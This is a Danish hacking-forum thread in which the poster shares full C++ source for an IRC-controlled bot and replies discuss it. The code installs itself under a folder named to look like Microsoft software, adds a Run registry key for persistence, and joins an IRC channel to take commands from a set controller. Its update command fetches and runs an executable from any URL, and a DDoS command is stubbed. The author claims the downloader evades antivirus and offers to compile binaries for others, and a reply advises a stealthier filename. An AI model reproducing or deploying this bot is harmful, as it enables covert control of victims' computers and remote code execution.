13-05-2013, 22:33
(Denne besked var sidst ændret: 29-06-2013, 01:03 af Morph3s.)
|
|
Morph3s
VIP bruger
|
Indlæg: 506
Registreret: Feb 2013
Omdømme:
24
|
|
[C++/C] IRC Bot
Begyndte at kode en IRC bot da jeg skulle lære lidt omkring C++ socket programming. Den virkede originalt til både linux, mac og windows, men det døde lidt da jeg tilføjede startup i den :)
Første IRC bot i c++. Så don't hate.
Konstruktiv kritik modtages meget gerne.
Skriv evt. hvis i vil have nogle funktioner eller noget i den :)
Compiler command: g++ -mwindows ircbotc2.cpp addstartup.cpp
Compilet under windows 8 med cygwin.
Download: (Out-dated download link)
Funktioner- !HELP - Viser guide til commands
- !UPDATE - Opdatere botten til en nyere version med det link du giver den.
- !DDOS - DDoS funktion (Not implemented)
- !EXECUTE - Henter fil fra URL og eksekvere den på systemet
OBS: Hvis folk har problemer med compilere, kildekode osv. Kan i til hver en tid blot skrive i denne tråd hvis jeg skal lave en binary til jer. Så bare skriv hvad jeres fulde navn(altså på IRC) er + hvad channel den skal joine. Så skal jeg nok compile en til jer :)
EDIT: Opdateret 5-27-2013 og nu tilføjet en update funktion så man nu kan opdatere den til at downloade en ny executable. Opdaterings funktionen bruger Berkeley sockets til at snakke med HTTP protokollen og hente en given fil.
Ja det er nok meget at skrive 130 linjer for en download funktion, men så er den til gengæld også FUD. Hvis man bruger one-lineren http://msdn.microsoft.com/en-us/library/...s.85).aspx er den detected med det samme.
Desuden er min nu også cross compatible. Dog skal der fixes nogle paths hvis den skal ud på andre operativ systemer end windows.
Testet på windows 8 x64.
/*
AT Coded by: Morph3s AT shellsec
AT Version: 0.2
AT Project start date: 4/25/2013
AT Purpose: Save me from boredom on a wednesday night
*/
#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <string>
#include <sstream>
#include <iostream>
#include <map>
#include "addstartup.h"
#include "update.h"
#include "tools.h"
#define MAX_SIZE 1024 // Max size for receiving buffer
char hostname[] = "irc.voxanon.net"; // Define the IRC hostname
std::string controller = ":Morph3s!Morph3sATshellsec.pw"; // Who should control the bot ?
std::string botname = "[rootkit]BOT"; // The bot standard name. Numbers will be added to make name unique
std::string channame = "#bottest"; // The channel it shoul join
int sock_descriptor; // integer number to access socket
struct sockaddr_in serv_addr; // uses predefined sockaddr_in struct
struct hostent *server; // from netdb.h to determine host name out of ip address
char recvBuff[MAX_SIZE]; // Receiving buffer
std::map<std::string, int> commands;
int CMDARRSIZE = 0;
int recieveHandlingCommand(std::string *strArrs, int where);
int findWord(std::string, std::string);
int initializeBot();
int startListening();
int cleanUp();
int initializeCommands();
int sendMessage(char message[]);
int sendAuth();
int showHelp();
int ddos(std::string *strArrs, int where);
int updateBot(std::string *strArrs, int where);
std::string* tokenizer(char buff[]);
char *stringToChar(std::string target);
int main(){
std::cout << "Morph3s IRC bot." << std::endl;
initializeCommands();
initializeBot();
startListening();
cleanUp();
}
char *stringToChar(std::string target){
char *charfi = new char[target.size()+1];
memcpy(charfi, target.c_str(), target.size()+1);
return charfi;
}
int sendMessage(char message[]){
std::cout << "SEND: " << message << std::endl;
write(sock_descriptor, message, strlen(message));
return 0;
}
int cleanUp(){
close(sock_descriptor);
}
std::string* tokenizer(char buff[]){
//Counting fase:
int count = 0;
std::istringstream inputSplit(recvBuff);
std::string command;
while(inputSplit){
inputSplit >> command;
count++;
}
std::string *stringArr = new std::string[count];
std::cout << "COUNT EQUALS: " << count << std::endl;
count = 0;
std::istringstream inputSplit2(recvBuff);
std::string command2;
while(inputSplit2){
inputSplit2 >> command2;
stringArr[count] = command2;
//std::cout << "ITERATING OVER: " << command2 << " NUMBER IS: " << count << std::endl;
count++;
}
CMDARRSIZE = count;
return stringArr;
}
int initializeCommands(){
commands["Auth"] = 1; // Send authentication messages
commands["PING"] = 2; // Send a pong
commands["PRIVMSG"] = 3; // You got a private message.
commands[controller] = 4; // Who's the botherder
commands[":!DDOS"] = 5; // DDoS something
commands[":!UPDATE"] = 6; // Update file
commands[":!HELP"] = 7; // Show help file
}
int startListening(){
while(true){
memset(recvBuff, 0, MAX_SIZE);
if(read(sock_descriptor, recvBuff, sizeof(recvBuff)-1) > 0){
std::cout << "RECV: " << recvBuff << std::endl;
}else{
return 0;
}
std::string* strArr = tokenizer(recvBuff);
for(int a=0; a<CMDARRSIZE;a++){
//std::cout << "Checking for: " << strArr[a] << " in " << commands[strArr[a]] << std::endl;
switch(commands[strArr[a]]){
case 1:
sendAuth();
break;
case 2:
sendMessage("PONG");
break;
case 3:
break;
case 4:
recieveHandlingCommand(strArr, a);
break;
}
}
}
}
int recieveHandlingCommand(std::string *strArrs, int where){
std::cout << "Here it is: " << strArrs[where] << std::endl;
//We are getting a message from the botherder
if(findWord(strArrs[(where+1)], "PRIVMSG")){
std::cout << "FOUND" << std::endl;
std::cout << "Here is: " << commands[strArrs[(where+3)]] << std::endl;
std::cout << "Here is: " << commands[strArrs[(where+2)]] << std::endl;
std::cout << "Here is: " << commands[strArrs[(where+1)]] << std::endl;
switch(commands[strArrs[(where+3)]]){
case 5:
ddos(strArrs, where+3);
break;
case 6:
updateBot(strArrs, where+3);
break;
case 7:
showHelp();
break;
}
}
}
int showHelp(){
sendMessage(stringToChar("PRIVMSG "+channame+" :Coded by Morph3sATshellsec\n\r"));
sendMessage(stringToChar("PRIVMSG "+channame+" :***COMMANDS***\n\r"));
sendMessage(stringToChar("PRIVMSG "+channame+" :!DDOS <target> <port> <method>\n\r"));
sendMessage(stringToChar("PRIVMSG "+channame+" :!UPDATE <url>\n\r"));
sendMessage(stringToChar("PRIVMSG "+channame+" :More info at www.shellsec.pw\n\r"));
}
// DDoS Function ready to be added
int ddos(std::string *strArrs, int where){
std::string target = strArrs[where+1];
std::string port = strArrs[where+2];
std::string method = strArrs[where+3];
sendMessage(stringToChar("PRIVMSG "+channame+" :Engaged DDOS against: "+target+":"+port+" with "+method+"\n\r"));
}
// Update code ready to be added
int updateBot(std::string *strArrs, int where){
std::string url = strArrs[where+1];;
sendMessage(stringToChar("PRIVMSG "+channame+" :Updating bot with new source from: "+url+"\n\r"));
updateBotFunc(url);
}
//Authenticate with irc server. Just basic commands
int sendAuth(){
sendMessage(stringToChar("NICK "+botname+"\n\r"));
sendMessage(stringToChar("USER "+botname+" 8 *:Lulz da machine\n\r"));
sendMessage(stringToChar("JOIN "+channame+"\n\r"));
}
int initializeBot(){
// Setting unique bot name
int lol = addToStartup();
srand(time(NULL));
int uniq = rand() % 1000 + 1;
std::cout << "THIS IS UNIQUE" << uniq << std::endl;
// Setting sockets
sock_descriptor = socket(AF_INET, SOCK_STREAM, 0); // SOCK_STREAM = TCP, AF_INET = DOMAIN
if(sock_descriptor < 0){
std::cout << "Failed creating socket\n" << std::endl;
}
bzero((char *)&serv_addr, sizeof(serv_addr));
server = gethostbyname(hostname);
if(server==NULL){
std::cout << "Failed to find server name" << std::endl;
return 0;
}
serv_addr.sin_family = AF_INET;
memcpy((char *) &(serv_addr.sin_addr.s_addr), (char *)(server->h_addr), server->h_length);
serv_addr.sin_port = htons(6667); // Ensures integer interpretion is correct
if(connect(sock_descriptor, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0){
std::cout << "Failed to connect to server" << std::endl;
}else{
std::cout << "Succesfully connected" << std::endl;
}
}
int findWord(std::string text, std::string word){
if(std::string::npos != text.find(word)){
return 1;
}else{
return 0;
}
}
#ifndef ADDSTARTUP_H
#define ADDSTARTUP_H
int addToStartup();
#endif
#include <iostream>
#include <windows.h>
#include <sstream>
#include <stdio.h>
#include <string.h>
#include <cstdlib>
#include "tools.h"
using namespace std;
string folderName = "C:\\Users\\"+getUsername()+"\\AppData\\Local\\Microsoft essentials";
int addToStartup(){
string filenamecor = findCurrentFilename();
//Check if folder is there. If not create it.
if(CreateDirectory(folderName.c_str(), NULL)){
}else{
cout << "Could not create folder. I'll assume it's already there" << endl;
return 0;
}
//Move file to dir
char *fileName = (char *)filenamecor.c_str();
cout << "Filename is: " << fileName << endl;
string path = "C:\\Users\\"+getUsername()+"\\AppData\\Local\\Microsoft essentials\\lol.exe\0";
if(CopyFile(fileName, path.c_str(), true)){
cout << "Succesfully moved file" << endl;
}
//Folder is valid. Create key
HKEY key;
DWORD dwDisposition;
if((RegCreateKeyEx(HKEY_CURRENT_USER, TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run"), 0, NULL, 0, KEY_WRITE, NULL, &key, &dwDisposition))==ERROR_SUCCESS){
DWORD dwType, dwSize;
dwSize = path.size();
RegSetValueEx(key, TEXT("Microsoft essentials"), 0, REG_SZ, (LPBYTE)path.c_str(), dwSize);
RegCloseKey(key);
cout << "Succesfully created key!";
}else{
cout << "Could not create key!";
}
}
#ifndef UPDATE_H
#define UPDATE_H
#include <string>
int updateBotFunc(std::string);
#endif
#include <fstream>
#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <string>
#include <sstream>
#include <iostream>
#include <map>
#include <windows.h>
#include "tools.h"
using namespace std;
#define MAX_SIZE 1024 // Max size for receiving buffer
string updatedFilePath;
string executePath;
int updateServer(string);
void executeFile();
int updateBotFunc(string updateUrl){
cout << "Welcome to the update function" << endl;
//Renaming old file to make room for new one.
string filenamecor = findCurrentFilename();
string filenamecore = filenamecor + ".old";
rename(filenamecor.c_str(), filenamecore.c_str());
updatedFilePath = "C:\\Users\\"+getUsername()+"\\AppData\\Local\\Microsoft essentials\\" + filenamecor;
executePath = "C:/Users/"+getUsername()+"/AppData/Local/\"Microsoft essentials\"/" + filenamecor;
string host = updateUrl;
if(updateServer(host)){
executeFile();
}
}
int updateServer(string updateUrl){
char *buff = (char*)updateUrl.c_str();
const char* delim = "/";
string path = strstr(buff, delim);
string hstnameString = updateUrl.substr(0, (updateUrl.size()-path.size()));
int sock_descriptor; // integer number to access socket
struct sockaddr_in serv_addr; // uses predefined sockaddr_in struct
struct hostent *server; // from netdb.h to determine host name out of ip address
char recvBuff[MAX_SIZE]; // Receiving buffer
char *hostname;
hostname = (char*)hstnameString.c_str(); // Location of file
// Http request to retrieve file
string requests = "GET "+path+" HTTP/1.0\n"
"Host: "+hstnameString+"\n"
"Connection: keep-alive\n"
"Cache-Control: no-cache\n"
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\n"
"Pragma: no-cache\n"
"User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31\n"
"Accept-Encoding: gzip,deflate,sdch\n"
"Accept-Language: en-GB,en;q=0.8,en-US;q=0.6,da;q=0.4\n"
"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\n";
char *req = (char*)requests.c_str();
sock_descriptor = socket(AF_INET, SOCK_STREAM, 0); // SOCK_STREAM = TCP, AF_INET = DOMAIN
if(sock_descriptor < 0){
cout << "Failed creating socket\n" << endl;
return 0;
}
bzero((char *)&serv_addr, sizeof(serv_addr));
server = gethostbyname(hostname);
if(server==NULL){
cout << "Failed to find server name" << endl;
return 0;
}
serv_addr.sin_family = AF_INET;
memcpy((char *) &(serv_addr.sin_addr.s_addr), (char *)(server->h_addr), server->h_length);
serv_addr.sin_port = htons(80); // Ensures integer interpretion is correct
if(connect(sock_descriptor, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0){
cout << "Failed to connect to server" << endl;
return 0;
}else{
cout << "Succesfully connected" << endl;
}
cout << "SEND: " << req << endl;
write(sock_descriptor, req, strlen(req));
bool isFile = false;
ofstream outFile;
outFile.open(updatedFilePath.c_str(), ios::out | ios::binary);
int bytes;
const char* phrase = "\r\n\r\n";
while(true){
memset(recvBuff, 0, MAX_SIZE);
if((bytes = read(sock_descriptor, recvBuff, sizeof(recvBuff)-1)) > 0){
if(isFile){
outFile.write(recvBuff, bytes);
}else{
char *remain = strstr(recvBuff, phrase);
remain += 4;
int len = bytes - (remain - recvBuff);
outFile.write(remain, len);
isFile = true;
}
}else{
outFile.close();
cout << "Returning here";
return 1;
}
}
outFile.close();
cout << "finished";
return 1;
}
void executeFile(){
int status;
if(system(NULL)){
status = system(executePath.c_str());
if(status==0){
exit(0);
}
}else{
return;
}
}
#ifndef TOOLS_H
#define TOOLS_H
#include <string>
std::string findCurrentFilename();
std::string getUsername();
#endif
#include <string>
#include <iostream>
#include <stdlib.h>
#include <windows.h>
using namespace std;
std::string findCurrentFilename(){
std::string filenamecor;
TCHAR dynFilename[MAX_PATH];
GetModuleFileName(NULL, dynFilename, MAX_PATH);
char * pch;
pch = strtok (dynFilename,"\\");
while (pch != NULL){
filenamecor = pch;
pch = strtok (NULL, "\\");
}
return filenamecor;
}
std::string getUsername(){
string username = getenv("USERNAME");
return username;
}
|
|
28-05-2013, 23:33
|
|
dagGi
Medlem
|
Indlæg: 132
Registreret: May 2013
Omdømme:
13
|
|
RE: [C++/C] IRC Bot
Plejer Microsoft essentials ikke at skrives som "Microsoft Essentials"? (stort E)
Og evt kald det droppede exe noget mere annonymt end lol.exe :P mseces.exe eller noget i den stil er mindre opsigtsvækkende :P
|
|
28-05-2013, 23:40
|
|
Morph3s
VIP bruger
|
Indlæg: 506
Registreret: Feb 2013
Omdømme:
24
|
|
RE: [C++/C] IRC Bot
(28-05-2013, 23:33)dagGi Skrev: Plejer Microsoft essentials ikke at skrives som "Microsoft Essentials"? (stort E)
Og evt kald det droppede exe noget mere annonymt end lol.exe :P mseces.exe eller noget i den stil er mindre opsigtsvækkende :P
I have no idea :)
Lader det stå til brugeren så de selv kan bestemme :)
Hvad synes du kodemæssigt. Er ny i C++ så kunne godt bruge noget feedback.
|
|
30-05-2013, 14:24
|
|
Morph3s
VIP bruger
|
Indlæg: 506
Registreret: Feb 2013
Omdømme:
24
|
|
RE: [C++/C] IRC Bot
(29-05-2013, 14:24)Anonymous Skrev: Den ser da ikke så slem ud mate:)
Bliver nice når du får fixet DDoS Hva?:)
Thanks.
Ja det bliver lækkert nok :) Det bliver dog kun en VIP feature. Så alle opdaterede funktioner kommer kun ind i VIP sektionen fra nu af :)
|
|
|